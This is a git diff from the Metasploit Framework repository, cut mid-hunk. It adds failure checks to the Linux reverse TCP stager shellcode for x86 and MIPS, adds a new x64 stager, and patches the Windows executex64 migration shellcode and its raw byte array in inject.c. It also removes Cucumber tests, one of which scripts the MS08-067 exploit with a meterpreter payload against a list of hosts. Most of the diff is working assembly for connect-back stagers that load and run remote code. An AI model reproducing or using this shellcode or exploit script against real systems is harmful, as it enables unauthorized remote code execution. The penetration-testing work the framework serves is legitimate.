eax, eax + jns mprotect + +handle_failure: + push 0xa2 + pop eax + push 0x0 ; sleep_nanoseconds + push 0x5 ; sleep_seconds + mov ebx, esp + xor ecx, ecx + int 0x80 ; sys_nanosleep + test eax, eax + js failed + dec esi + jnz create_socket + jmp failed %ifndef USE_SINGLE_STAGE @@ -74,6 +94,8 @@ mprotect: shl ebx, 12 mov al, 0x7d ; __NR_mprotect int 0x80 + test eax, eax + js failed ; ssize_t read(int fd, void *buf, size_t count); recv: @@ -83,6 +105,13 @@ recv: mov dh, 0xc ; count = 0xc00 mov al, 0x3 ; __NR_read int 0x80 + test eax, eax + js failed jmp ecx +failed: + mov eax, 0x1 + mov ebx, 0x1 ; set exit status to 1 + int 0x80 ; sys_exit + %endif diff --git a/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s b/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s index 9aba45eea7..0e8f53b88a 100644 --- a/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s +++ b/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s @@ -1,11 +1,11 @@ ## -# +# # Name: stager_sock_reverse # Type: Stager # Qualities: No Nulls out of the IP / Port data # Platforms: Linux MIPS Big Endian -# Authors: juan vazquez -# License: +# Authors: juan vazquez , tkmru +# License: # # This file is part of the Metasploit Exploit Framework # and is subject to the same licenses and copyrights as @@ -27,101 +27,117 @@ # generate the string to place on: # modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb ## - .text - .align 2 - .globl main - .set nomips16 + .text + .align 2 + .globl main + .set nomips16 main: - .set noreorder - .set nomacro + .set noreorder + .set nomacro + # socket(PF_INET, SOCK_STREAM, IPPROTO_IP) + # a0: domain = PF_INET (2) + # a1: type = SOCK_STREAM (2) + # a2: protocol = IPPROTO_IP (0) + # v0: syscall = __NR_socket (4183) + li $t7, -6 + nor $t7, $t7, $zero + addi $a0, $t7, -3 + addi $a1, $t7, -3 + slti $a2, $zero, -1 + li $v0, 4183 + syscall 0x40404 + slt $s0, $zero, $a3 + bne $s0, $zero, failed + sw $v0, -4($sp) # store the file descriptor for the socket on the stack - # socket(PF_INET, SOCK_STREAM, IPPROTO_IP) - # a0: domain = PF_INET (2) - # a1: type = SOCK_STREAM (2) - # a2: protocol = IPPROTO_IP (0) - # v0: syscall = __NR_socket (4183) - li $t7, -6 - nor $t7, $t7, $zero - addi $a0, $t7, -3 - addi $a1, $t7, -3 - slti $a2, $zero, -1 - li $v0, 4183 - syscall 0x40404 - sw $v0, -4($sp) # store the file descriptor for the socket on the stack - - # connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16) - # a0: sockfd - # a1: addr = AF_INET (2) - # a2: addrlen = 16 - # v0: syscall = __NR_connect (4170) - lw $a0, -4($sp) - li $t7, -3 - nor $t7, $t7, $zero - sw $t7, -32($sp) - lui $t6, 0x115c - sw $t6, -28($sp) - lui $t6, 0x7f00 # ip - ori $t6, $t6, 0x0001 # ip - sw $t6, -26($sp) - addiu $a1, $sp, -30 - li $t4, -17 - nor $a2, $t4, $zero - li $v0, 4170 - syscall 0x40404 - - # mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) - # a0: addr = -1 - # a1: lenght = 4096 - # a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7) - # a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050) - # sp(16): fd = -1 - # sp(20): offset = 0 - # v0: syscall = __NR_mmap (4090) - li $a0, -1 - li $a1, 4097 - addi $a1, $a1, -1 - li $t1, -8 - nor $t1, $t1, $0 - add $a2, $t1, $0 - li $a3, 2050 - li $t3, -22 - nor $t3, $t3, $zero - add $t3, $sp, $t3 - sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls - sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls - li $v0, 4090 - syscall 0x40404 - sw $v0, -8($sp) # Stores the mmap'ed address on the stack + # connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")}, 16) + # a0: sockfd + # a1: addr = AF_INET (2) + # a2: addrlen = 16 + # v0: syscall = __NR_connect (4170) + lw $a0, -4($sp) + li $t7, -3 + nor $t7, $t7, $zero + sw $t7, -32($sp) + lui $t6, 0x115c + sw $t6, -28($sp) + lui $t6, 0x7f00 # ip + ori $t6, $t6, 0x0001 # ip + sw $t6, -26($sp) + addiu $a1, $sp, -30 + li $t4, -17 + nor $a2, $t4, $zero + li $v0, 4170 + syscall 0x40404 + slt $s0, $zero, $a3 + bne $s0, $zero, failed - # read(sockfd, addr, 4096) - # a0: sockfd - # a1: addr - # a2: len = 4096 - # v0: syscall = __NR_read (4003) - lw $a0, -4($sp) - lw $a1, -8($sp) - li $a2, 4097 - addi $a2, $a2, -1 - li $v0, 4003 - syscall 0x40404 + # mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) + # a0: addr = -1 + # a1: lenght = 4096 + # a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7) + # a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050) + # sp(16): fd = -1 + # sp(20): offset = 0 + # v0: syscall = __NR_mmap (4090) + li $a0, -1 + li $a1, 4097 + addi $a1, $a1, -1 + li $t1, -8 + nor $t1, $t1, $0 + add $a2, $t1, $0 + li $a3, 2050 + li $t3, -22 + nor $t3, $t3, $zero + add $t3, $sp, $t3 + sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls + sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls + li $v0, 4090 + syscall 0x40404 + slt $s0, $zero, $a3 + bne $s0, $zero, failed + sw $v0, -8($sp) # Stores the mmap'ed address on the stack - # cacheflush(addr, nbytes, DCACHE) - # a0: addr - # a1: nbytes - # a2: cache = DCACHE (2) - # v0: syscall = __NR_read (4147) - lw $a0, -8($sp) - add $a1, $v0, $zero - li $t1, -3 - nor $t1, $t1, $0 - add $a2, $t1, $0 - li $v0, 4147 - syscall 0x40404 - - # jmp to the stage - lw $s1, -8($sp) - lw $s2, -4($sp) - jalr $s1 + # read(sockfd, addr, 4096) + # a0: sockfd + # a1: addr + # a2: len = 4096 + # v0: syscall = __NR_read (4003) + lw $a0, -4($sp) + lw $a1, -8($sp) + li $a2, 4097 + addi $a2, $a2, -1 + li $v0, 4003 + syscall 0x40404 + slt $s0, $zero, $a3 + bne $s0, $zero, failed - .set macro - .set reorder + # cacheflush(addr, nbytes, DCACHE) + # a0: addr + # a1: nbytes + # a2: cache = DCACHE (2) + # v0: syscall = __NR_read (4147) + lw $a0, -8($sp) + add $a1, $v0, $zero + li $t1, -3 + nor $t1, $t1, $0 + add $a2, $t1, $0 + li $v0, 4147 + syscall 0x40404 + slt $s0, $zero, $a3 + bne $s0, $zero, failed + # jmp to the stage + lw $s1, -8($sp) + lw $s2, -4($sp) + jalr $s1 + +failed: + # exit(status) + # a0: status + # v0: syscall = __NR_exit (4001) + li $a0, 1 + li $v0, 4001 + syscall 0x40404 + + .set macro + .set reorder diff --git a/external/source/shellcode/linux/mipsle/stager_sock_reverse.s b/external/source/shellcode/linux/mipsle/stager_sock_reverse.s index 42083452af..1c23424fa9 100644 --- a/external/source/shellcode/linux/mipsle/stager_sock_reverse.s +++ b/external/source/shellcode/linux/mipsle/stager_sock_reverse.s @@ -1,11 +1,11 @@ ## -# +# # Name: stager_sock_reverse # Type: Stager # Qualities: No Nulls out of the IP / Port data # Platforms: Linux MIPS Little Endian -# Authors: juan vazquez -# License: +# Authors: juan vazquez , tkmru +# License: # # This file is part of the Metasploit Exploit Framework # and is subject to the same licenses and copyrights as @@ -27,101 +27,119 @@ # generate the string to place on: # modules/payloads/stagers/linux/mipsle/reverse_tcp.rb ## - .text - .align 2 - .globl main - .set nomips16 + .text + .align 2 + .globl main + .set nomips16 main: - .set noreorder - .set nomacro + .set noreorder + .set nomacro - # socket(PF_INET, SOCK_STREAM, IPPROTO_IP) - # a0: domain = PF_INET (2) - # a1: type = SOCK_STREAM (2) - # a2: protocol = IPPROTO_IP (0) - # v0: syscall = __NR_socket (4183) - li $t7, -6 - nor $t7, $t7, $zero - addi $a0, $t7, -3 - addi $a1, $t7, -3 - slti $a2, $zero, -1 - li $v0, 4183 - syscall 0x40404 - sw $v0, -4($sp) # store the file descriptor for the socket on the stack - - # connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16) - # a0: sockfd - # a1: addr = AF_INET (2) - # a2: addrlen = 16 - # v0: syscall = __NR_connect (4170) - lw $a0, -4($sp) - li $t7, -3 - nor $t7, $t7, $zero - sw $t7, -30($sp) - ori $t6, $zero, 0x5c11 # port - sw $t6, -28($sp) - lui $t6, 0x100 # ip - ori $t6, $t6, 0x7f # ip - sw $t6, -26($sp) - addiu $a1, $sp, -30 - li $t4, -17 - nor $a2, $t4, $zero - li $v0, 4170 - syscall 0x40404 - - # mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) - # a0: addr = -1 - # a1: lenght = 4096 - # a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7) - # a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050) - # sp(16): fd = -1 - # sp(20): offset = 0 - # v0: syscall = __NR_mmap (4090) - li $a0, -1 - li $a1, 4097 - addi $a1, $a1, -1 - li $t1, -8 - nor $t1, $t1, $0 - add $a2, $t1, $0 - li $a3, 2050 - li $t3, -22 - nor $t3, $t3, $zero - add $t3, $sp, $t3 - sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls - sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls - li $v0, 4090 - syscall 0x40404 - sw $v0, -8($sp) # Stores the mmap'ed address on the stack + # socket(PF_INET, SOCK_STREAM, IPPROTO_IP) + # a0: domain = PF_INET (2) + # a1: type = SOCK_STREAM (2) + # a2: protocol = IPPROTO_IP (0) + # v0: syscall = __NR_socket (4183) + li $t7, -6 + nor $t7, $t7, $zero + addi $a0, $t7, -3 + addi $a1, $t7, -3 + slti $a2, $zero, -1 + li $v0, 4183 + syscall 0x40404 + slt $s0, $zero, $a3 + bne $s0, $zero, failed + sw $v0, -4($sp) # store the file descriptor for the socket on the stack - # read(sockfd, addr, 4096) - # a0: sockfd - # a1: addr - # a2: len = 4096 - # v0: syscall = __NR_read (4003) - lw $a0, -4($sp) - lw $a1, -8($sp) - li $a2, 4097 - addi $a2, $a2, -1 - li $v0, 4003 - syscall 0x40404 + # connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")}, 16) + # a0: sockfd + # a1: addr = AF_INET (2) + # a2: addrlen = 16 + # v0: syscall = __NR_connect (4170) + lw $a0, -4($sp) + li $t7, -3 + nor $t7, $t7, $zero + sw $t7, -30($sp) + ori $t6, $zero, 0x5c11 # port + sw $t6, -28($sp) + lui $t6, 0x100 # ip + ori $t6, $t6, 0x7f # ip + sw $t6, -26($sp) + addiu $a1, $sp, -30 + li $t4, -17 + nor $a2, $t4, $zero + li $v0, 4170 + syscall 0x40404 + slt $s0, $zero, $a3 + bne $s0, $zero, failed - # cacheflush(addr, nbytes, DCACHE) - # a0: addr - # a1: nbytes - # a2: cache = DCACHE (2) - # v0: syscall = __NR_read (4147) - lw $a0, -8($sp) - add $a1, $v0, $zero - li $t1, -3 - nor $t1, $t1, $0 - add $a2, $t1, $0 - li $v0, 4147 - syscall 0x40404 - - # jmp to the stage - lw $s1, -8($sp) - lw $s2, -4($sp) # sockfd saved on $s2 - jalr $s1 + # mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) + # a0: addr = -1 + # a1: lenght = 4096 + # a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7) + # a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050) + # sp(16): fd = -1 + # sp(20): offset = 0 + # v0: syscall = __NR_mmap (4090) + li $a0, -1 + li $a1, 4097 + addi $a1, $a1, -1 + li $t1, -8 + nor $t1, $t1, $0 + add $a2, $t1, $0 + li $a3, 2050 + li $t3, -22 + nor $t3, $t3, $zero + add $t3, $sp, $t3 + sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls + sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls + li $v0, 4090 + syscall 0x40404 + slt $s0, $zero, $a3 + bne $s0, $zero, failed + sw $v0, -8($sp) # Stores the mmap'ed address on the stack - .set macro - .set reorder + # read(sockfd, addr, 4096) + # a0: sockfd + # a1: addr + # a2: len = 4096 + # v0: syscall = __NR_read (4003) + lw $a0, -4($sp) + lw $a1, -8($sp) + li $a2, 4097 + addi $a2, $a2, -1 + li $v0, 4003 + syscall 0x40404 + slt $s0, $zero, $a3 + bne $s0, $zero, failed + + # cacheflush(addr, nbytes, DCACHE) + # a0: addr + # a1: nbytes + # a2: cache = DCACHE (2) + # v0: syscall = __NR_read (4147) + lw $a0, -8($sp) + add $a1, $v0, $zero + li $t1, -3 + nor $t1, $t1, $0 + add $a2, $t1, $0 + li $v0, 4147 + syscall 0x40404 + slt $s0, $zero, $a3 + bne $s0, $zero, failed + + # jmp to the stage + lw $s1, -8($sp) + lw $s2, -4($sp) # sockfd saved on $s2 + jalr $s1 + +failed: + # exit(status) + # a0: status + # v0: syscall = __NR_exit (4001) + li $a0, 1 + li $v0, 4001 + syscall 0x40404 + + .set macro + .set reorder diff --git a/external/source/shellcode/linux/x64/stager_sock_reverse.s b/external/source/shellcode/linux/x64/stager_sock_reverse.s new file mode 100644 index 0000000000..ff4f234087 --- /dev/null +++ b/external/source/shellcode/linux/x64/stager_sock_reverse.s @@ -0,0 +1,82 @@ +## +# +# Name: stager_sock_reverse +# Qualities: - +# Authors: nemo , tkmru +# License: MSF_LICENSE +# Description: +# +# Implementation of a Linux reverse TCP stager for x64 architecture. +# +# Assemble with: gcc -nostdlib stager_sock_reverse.s -o stager_sock_reverse +# +# Meta-Information: +# +# meta-shortname=Linux Reverse TCP Stager +# meta-description=Connect back to the framework and run a second stage +# meta-authors=ricky, tkmru +# meta-os=linux +# meta-arch=x64 +# meta-category=stager +# meta-connection-type=reverse +# meta-name=reverse_tcp +## + +.text +.globl _start +_start: + xor %rdi, %rdi + push $0x9 + pop %rax + cdq + mov $0x10, %dh + mov %rdx, %rsi + xor %r9, %r9 + push $0x22 + pop %r10 + mov $0x7, %dl + syscall # mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) + test %rax, %rax + js failed + + push %rsi + push %rax + push $0x29 + pop %rax + cdq + push $0x2 + pop %rdi + push $0x1 + pop %rsi + syscall # socket(PF_INET, SOCK_STREAM, IPPROTO_IP) + test %rax, %rax + js failed + + xchg %rax, %rdi + movabs $0x100007fb3150002, %rcx + push %rcx + mov %rsp, %rsi + push $0x10 + pop %rdx + push $0x2a + pop %rax + syscall # connect(3, {sa_family=AF_INET, LPORT, LHOST, 16) + test %rax, %rax + js failed + + pop %rcx + pop %rsi + pop %rdx + syscall # read(3, "", 4096) + jmpq *%rsi + test %rax, %rax + js failed + + jmpq *%rsi # to stage + +failed: + push $0x3c + pop %rax + push $0x1 + pop %rdi + syscall # exit(1) diff --git a/external/source/shellcode/windows/x86/src/migrate/executex64.asm b/external/source/shellcode/windows/x86/src/migrate/executex64.asm index a3f2777fde..e4af580fe0 100644 --- a/external/source/shellcode/windows/x86/src/migrate/executex64.asm +++ b/external/source/shellcode/windows/x86/src/migrate/executex64.asm @@ -40,6 +40,9 @@ delta: call go_all_native ; perform the transition into native x64 and return here when done. + mov ax, ds ; fixes an elusive bug on AMD CPUs, http://blog.rewolf.pl/blog/?p=1484 + mov ss, ax ; found and fixed by ReWolf, incorporated by RaMMicHaeL + add esp, (8+4+8) ; remove the 8 bytes we allocated + the return address which was never popped off + the qword pushed from native_x64 pop edi ; restore the clobbered registers pop esi ; diff --git a/external/source/vncdll/vncdll/inject.c b/external/source/vncdll/vncdll/inject.c index 3414584dc6..fc3ea273f5 100755 --- a/external/source/vncdll/vncdll/inject.c +++ b/external/source/vncdll/vncdll/inject.c @@ -12,11 +12,14 @@ #endif // see '/msf3/external/source/shellcode/x86/migrate/executex64.asm' +// 03.06.2017: fixed an elusive bug on AMD CPUs, http://blog.rewolf.pl/blog/?p=1484 +// found and fixed by ReWolf, incorporated by RaMMicHaeL BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00" - "\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00" - "\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00" - "\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24" - "\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24"; + "\x58\x83\xC0\x2B\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00" + "\x89\x02\xE8\x0F\x00\x00\x00\x66\x8C\xD8\x66\x8E\xD0\x83\xC4\x14" + "\x5F\x5E\x5D\xC2\x08\x00\x8B\x3C\xE4\xFF\x2A\x48\x31\xC0\x57\xFF" + "\xD6\x5F\x50\xC7\x44\x24\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C" + "\x24"; // see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm' BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00" diff --git a/features/commands/help.feature b/features/commands/help.feature deleted file mode 100644 index f73763436b..0000000000 --- a/features/commands/help.feature +++ /dev/null @@ -1,111 +0,0 @@ -Feature: Help command - - Background: - Given I run `msfconsole --defer-module-loads -q -x help -x exit` - - Scenario: The 'help' command's output - Then the output should contain: - """ - Core Commands - ============= - - Command Description - ------- ----------- - ? Help menu - banner Display an awesome metasploit banner - cd Change the current working directory - color Toggle color - connect Communicate with a host - exit Exit the console - get Gets the value of a context-specific variable - getg Gets the value of a global variable - grep Grep the output of another command - help Help menu - history Show command history - irb Drop into irb scripting mode - load Load a framework plugin - quit Exit the console - route Route traffic through a session - save Saves the active datastores - sessions Dump session listings and display information about sessions - set Sets a context-specific variable to a value - setg Sets a global variable to a value - sleep Do nothing for the specified number of seconds - spool Write console output into a file as well the screen - threads View and manipulate background threads - unload Unload a framework plugin - unset Unsets one or more context-specific variables - unsetg Unsets one or more global variables - version Show the framework and console library version numbers - - - Module Commands - =============== - - Command Description - ------- ----------- - advanced Displays advanced options for one or more modules - back Move back from the current context - edit Edit the current module with the preferred editor - info Displays information about one or more modules - loadpath Searches for and loads modules from a path - options Displays global options or for one or more modules - popm Pops the latest module off the stack and makes it active - previous Sets the previously loaded module as the current module - pushm Pushes the active or list of modules onto the module stack - reload_all Reloads all modules from all defined module paths - search Searches module names and descriptions - show Displays modules of a given type, or all modules - use Selects a module by name - - - Job Commands - ============ - - Command Description - ------- ----------- - handler Start a payload handler as job - jobs Displays and manages jobs - kill Kill a job - rename_job Rename a job - - - Resource Script Commands - ======================== - - Command Description - ------- ----------- - makerc Save commands entered since start to a file - resource Run the commands stored in a file - - - Database Backend Commands - ========================= - - Command Description - ------- ----------- - db_connect Connect to an existing database - db_disconnect Disconnect from the current database instance - db_export Export a file containing the contents of the database - db_import Import a scan result file (filetype will be auto-detected) - db_nmap Executes nmap and records the output automatically - db_rebuild_cache Rebuilds the database-stored module cache - db_status Show the current database status - hosts List all hosts in the database - loot List all loot in the database - notes List all notes in the database - services List all services in the database - vulns List all vulnerabilities in the database - workspace Switch between database workspaces - - - Credentials Backend Commands - ============================ - - Command Description - ------- ----------- - creds List all credentials in the database - - - """ - diff --git a/features/modules/exploit/smb/ms08_067_netapi.feature b/features/modules/exploit/smb/ms08_067_netapi.feature deleted file mode 100644 index 940ff2a4e6..0000000000 --- a/features/modules/exploit/smb/ms08_067_netapi.feature +++ /dev/null @@ -1,48 +0,0 @@ -@targets @db -Feature: MS08-067 netapi - - Background: - Given a directory named "home" - And I cd to "home" - And a mocked home directory - - Scenario: The MS08-067 should get a session with bind_tcp - Given I ready the windows targets - Given a file named "ms08-067-bind.rc" with: - """ - - self.run_single("spool #{Rails.root.join('tmp', 'console.log')}") - hosts = YAML.load File.open Rails.root.join('features', 'support', 'targets.yml') - payload_name = 'windows/meterpreter/bind_tcp' - exploited_hosts = [] - failed_hosts = [] - - hosts.each do |host| - print_status("Trying MS08-067 against #{host['ipAddress']}") - mod = framework.exploits.create('windows/smb/ms08_067_netapi') - mod.datastore['PAYLOAD'] = payload_name - mod.datastore['RHOST'] = host['ipAddress'] - m = mod.exploit_simple( - 'LocalInput' => nil, - 'LocalOutput' => nil, - 'Payload' => payload_name, - 'RunAsJob' => false - ) - - sleep(1) - - if m - exploited_hosts << host['ipAddress'] - else - failed_hosts << host['ipAddress'] - end - end - - print_status("Exploited hosts: #{exploited_hosts.inspect}") - print_status("Failed hosts: #{failed_hosts.inspect}") - self.run_single('sessions -K') - - """ - When I successfully run `msfconsole --environment test -q -r ms08-067-bind.rc -x exit` for up to 100 seconds - Then the 'Mdm::Host' table contains the expected targets - \ No newline at end of file diff --git a/features/msfconsole/database_yml.feature b/features/msfconsole/database_yml.feature deleted file mode 100644 index f2b40c213b..0000000000 --- a/features/msfconsole/database_yml.feature +++ /dev/null @@ -1,153 +0,0 @@ -@boot -Feature: `msfconsole` `database.yml` - - In order to connect to the database in `msfconsole` - As a user calling `msfconsole` from a terminal - I want to be able to set the path of the `database.yml` in one of 4 locations (in order of precedence): - - 1. An explicit argument to the `-y` flag to `msfconsole` - 2. The MSF_DATABASE_CONFIG environment variable - 3. The user's `~/.msf4/database.yml` - 4. `config/database.yml` in the metasploit-framework checkout location. - - Scenario: With all 4 locations, --yaml wins - Given a file named "command_line.yml" with: - """ - test: - adapter: postgresql - database: command_line_metasploit_framework_test - username: command_line_metasploit_framework_test - """ - And a file named "msf_database_config.yml" with: - """ - test: - adapter: postgresql - database: environment_metasploit_framework_test - username: environment_metasploit_framework_test - """ - And I set the environment variables to: - | variable | value | - | MSF_DATABASE_CONFIG | msf_database_config.yml | - And a directory named "home" - And I cd to "home" - And a mocked home directory - And a directory named ".msf4" - And I cd to ".msf4" - And a file named "database.yml" with: - """ - test: - adapter: postgresql - database: user_metasploit_framework_test - username: user_metasploit_framework_test - """ - And I cd to "../.." - And the project "database.yml" exists with: - """ - test: - adapter: postgresql - database: project_metasploit_framework_test - username: project_metasploit_framework_test - """ - When I run `msfconsole -q --defer-module-loads --environment test --execute-command exit --yaml command_line.yml` - Then the output should contain "command_line_metasploit_framework_test" - - Scenario: Without --yaml, MSF_DATABASE_CONFIG wins - Given a file named "msf_database_config.yml" with: - """ - test: - adapter: postgresql - database: environment_metasploit_framework_test - username: environment_metasploit_framework_test - """ - And I set the environment variables to: - | variable | value | - | MSF_DATABASE_CONFIG | msf_database_config.yml | - And a directory named "home" - And I cd to "home" - And a mocked home directory - And a directory named ".msf4" - And I cd to ".msf4" - And a file named "database.yml" with: - """ - test: - adapter: postgresql - database: user_metasploit_framework_test - username: user_metasploit_framework_test - """ - And I cd to "../.." - And the project "database.yml" exists with: - """ - test: - adapter: postgresql - database: project_metasploit_framework_test - username: project_metasploit_framework_test - """ - When I run `msfconsole -q --defer-module-loads --environment test --execute-command exit` - Then the output should contain "environment_metasploit_framework_test" - - Scenario: Without --yaml or MSF_DATABASE_CONFIG, ~/.msf4/database.yml wins - Given I unset the environment variables: - | variable | - | MSF_DATABASE_CONFIG | - And a directory named "home" - And I cd to "home" - And a mocked home directory - And a directory named ".msf4" - And I cd to ".msf4" - And a file named "database.yml" with: - """ - test: - adapter: postgresql - database: user_metasploit_framework_test - username: user_metasploit_framework_test - """ - And I cd to "../.." - And the project "database.yml" exists with: - """ - test: - adapter: postgresql - database: project_metasploit_framework_test - username: project_metasploit_framework_test - """ - When I run `msfconsole -q --defer-module-loads --environment test --execute-command exit` - Then the output should contain "user_metasploit_framework_test" - - Scenario: Without --yaml, MSF_DATABASE_CONFIG or ~/.msf4/database.yml, project "database.yml" wins - Given I unset the environment variables: - | variable | - | MSF_DATABASE_CONFIG | - And a directory named "home" - And I cd to "home" - And a mocked home directory - And I cd to "../.." - And the project "database.yml" exists with: - """ - test: - adapter: postgresql - database: project_metasploit_framework_test - username: project_metasploit_framework_test - """ - When I run `msfconsole -q --defer-module-loads --environment test --execute-command db_status --execute-command exit` - Then the output should contain "project_metasploit_framework_test" - - - Scenario: Without --yaml, MSF_DATABASE_CONFIG, ~/.msf4/database.yml, or project "database.yml", no database connection - Given I unset the environment variables: - | variable | - | MSF_DATABASE_CONFIG | - And a directory named "home" - And I cd to "home" - And a mocked home directory - And I cd to "../.." - And the project "database.yml" does not exist - When I run `msfconsole -q --defer-module-loads --environment test --execute-command db_status --execute-command exit` - Then the output should not contain "command_line_metasploit_framework_test" - And the output should not contain "environment_metasploit_framework_test" - And the output should not contain "user_metasploit_framework_test" - And the output should not contain "project_metasploit_framework_test" - And the output should contain "[*] postgresql selected, no connection" - - Scenario: Starting `msfconsole` with a valid database.yml - When I run `msfconsole -q --defer-module-loads --execute-command db_status --execute-command exit` - Then the output should contain "[*] postgresql connected to metasploit_framework_test" - diff --git a/features/step_definitions/environment_variables.rb b/features/step_definitions/environment_variables.rb deleted file mode 100644 index c554ca0264..0000000000 --- a/features/step_definitions/environment_variables.rb +++ /dev/null @@ -1,20 +0,0 @@ -Given /^I unset the environment variables:$/ do |table| - table.hashes.each do |row| - variable = row['variable'].to_s.upcase - - # @todo add extension to Announcer - announcer.instance_eval do - if @options[:env] - print "$ unset #{variable}" - end - end - - current_value = ENV.delete(variable) - - # if original_env already has the key, then the true original was already recorded from a previous unset or set, - # so don't record the current value as it will cause ENV not to be restored after the Scenario. - unless original_env.key? variable - original_env[variable] = current_value - end - end -end \ No newline at end of file diff --git a/features/step_definitions/project.rb b/features/step_definitions/project.rb deleted file mode 100644 index 1c24f07254..0000000000 --- a/features/step_definitions/project.rb +++ /dev/null @@ -1,14 +0,0 @@ -require 'metasploit/framework/database/cucumber' - -Given /^the project "database.yml" does not exist$/ do - Metasploit::Framework::Database::Cucumber.backup_project_configurations -end - -Given /^the project "database.yml" exists with:$/ do |file_content| - Metasploit::Framework::Database::Cucumber.backup_project_configurations - File.open(Metasploit::Framework::Database::Cucumber.project_configurations_path, 'wb') { |file| file.write(file_content) } -end - -After do - Metasploit::Framework::Database::Cucumber.restore_project_configurations -end \ No newline at end of file diff --git a/features/support/bin/stty b/features/support/bin/stty deleted file mode 100755 index 8ff68bb1c5..0000000000 --- a/features/support/bin/stty +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env ruby - -case ARGV[0] - when 'size' - puts "30 134" - when '-a' - puts <; - eol2 = ; erase = ^?; intr = ^C; kill = ^U; lnext = ^V; - min = 1; quit = ^\; reprint = ^R; start = ^Q; status = ^T; - stop = ^S; susp = ^Z; time = 0; werase = ^W; -EOS - when '-g' - puts "gfmt1:cflag=4b00:iflag=6b02:lflag=200005cf:oflag=3:discard=f:dsusp=19:eof=4:eol=ff:eol2=ff:erase=7f:intr=3:kill=15:lnext=16:min=1:quit=1c:reprint=12:start=11:status=14:stop=13:susp=1a:time=0:werase=17:ispeed=38400:ospeed=38400" -end - -exit 0 diff --git a/features/support/env.rb b/features/support/env.rb deleted file mode 100644 index 6d186f405f..0000000000 --- a/features/support/env.rb +++ /dev/null @@ -1,34 +0,0 @@ -# @note `require 'simplecov'` is not used here because all features currently use external `msfconsole` process, so only -# that child process needs to load 'simplecov'. - -# IMPORTANT: This file is generated by cucumber-rails - edit at your own peril. -# It is recommended to regenerate this file in the future when you upgrade to a -# newer version of cucumber-rails. Consider adding your own code to a new file -# instead of editing this one. Cucumber will automatically load all features/**/*.rb -# files. - -require 'cucumber/rails' -require 'aruba/cucumber' - -# Capybara defaults to XPath selectors rather than Webrat's default of CSS3. In -# order to ease the transition to Capybara we set the default here. If you'd -# prefer to use XPath just remove this line and adjust any selectors in your -# steps to use the XPath syntax. -Capybara.default_selector = :css - -# By default, any exception happening in your Rails application will bubble up -# to Cucumber so that your scenario will fail. This is a different from how -# your application behaves in the production environment, where an error page will -# be rendered instead. -# -# Sometimes we want to override this default behaviour and allow Rails to rescue -# exceptions and display an error page (just like when the app is running in production). -# Typical scenarios where you want to do this is when you test your error pages. -# There are two ways to allow Rails to rescue exceptions: -# -# 1) Tag your scenario (or feature) with @allow-rescue -# -# 2) Set the value below to true. Beware that doing this globally is not -# recommended as it will mask a lot of errors for you! -# -ActionController::Base.allow_rescue = false diff --git a/features/support/hooks.rb b/features/support/hooks.rb deleted file mode 100644 index 16c5973ef2..0000000000 --- a/features/support/hooks.rb +++ /dev/null @@ -1,39 +0,0 @@ -Before do - set_env('MSF_DATBASE_CONFIG', Rails.configuration.paths['config/database'].existent.first) - set_env('RAILS_ENV', 'test') - @aruba_timeout_seconds = 8.minutes -end - -Before('@db') do |scenario| - dbconfig = YAML::load(File.open(Metasploit::Framework::Database.configurations_pathname)) - ActiveRecord::Base.establish_connection(dbconfig["test"]) -end - -# don't setup child processes to load simplecov_setup.rb if simplecov isn't installed -# unless Bundler.settings.without.include?(:coverage) -# Before do |scenario| -# command_name = case scenario -# when Cucumber::Ast::Scenario, Cucumber::Ast::ScenarioOutline 